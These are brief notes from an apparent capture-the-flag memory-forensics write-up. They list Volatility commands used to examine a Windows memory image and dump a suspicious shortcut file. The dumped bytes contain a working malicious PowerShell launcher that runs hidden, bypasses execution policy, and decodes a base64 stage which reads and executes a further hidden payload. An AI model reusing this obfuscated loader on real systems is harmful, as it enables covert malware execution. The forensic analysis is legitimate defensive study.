Reminiscent(Forensic Challenge)

volatility

Installation

An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an account on GitHub.

https://github.com/volatilityfoundation/volatility/wiki/Installation

imageinfo -f

Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS)

specify profile

pslist

psscan

consoles

filescan

physoffset

[vol.py](http://vol.py/) --profile=Win7SP1x64 dumpfiles --physoffset 0x000000001e8feb70 -f ../../../Downloads/reminiscent/flounder-pc-memdump.elf --dump-dir ../../htb/

C:\R1DKfpWindows��:��DKfp*�WindowsV1DK�eSystem32��:��DK�e*'	Sv1.0h2��IL powershell.exe�K6}K6}*��powershell.exeh-g�rk�C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe�-win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQPTMyMzAsOTY3NjskZj0ncmVzdW1lLnBkZi5sbmsnO2lmKC1ub3QoVGVzdC1QYXRoICRmKSl7JHg9R2V0LUNoaWxkSXRlbSAtUGF0aCAkZW52OnRlbXAgLUZpbHRlciAkZiAtUmVjdXJzZTtbSU8uRGlyZWN0b3J5XTo6U2V0Q3VycmVudERpcmVjdG9yeSgkeC5EaXJlY3RvcnlOYW1lKTt9JGxuaz1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJGYsJ09wZW4nLCdSZWFkJywnUmVhZFdyaXRlJzskYjY0PU5ldy1PYmplY3QgYnl0ZVtdKCRzaVApOyRsbmsuU2Vlaygkc3RQLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRsbmsuUmVhZCgkYjY0LDAsJHNpUCk7JGI2ND1bQ29udmVydF06OkZyb21CYXNlNjRDaGFyQXJyYXkoJGI2NCwwLCRiNjQuTGVuZ3RoKTskc2NCPVtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGI2NCk7aWV4ICRzY0I7')); iex $r;C:\Windows\system32\SHELL32.dll�%SystemRoot%\system32\SHELL32.dll%SystemRoot%\system32\SHELL32.dll�%�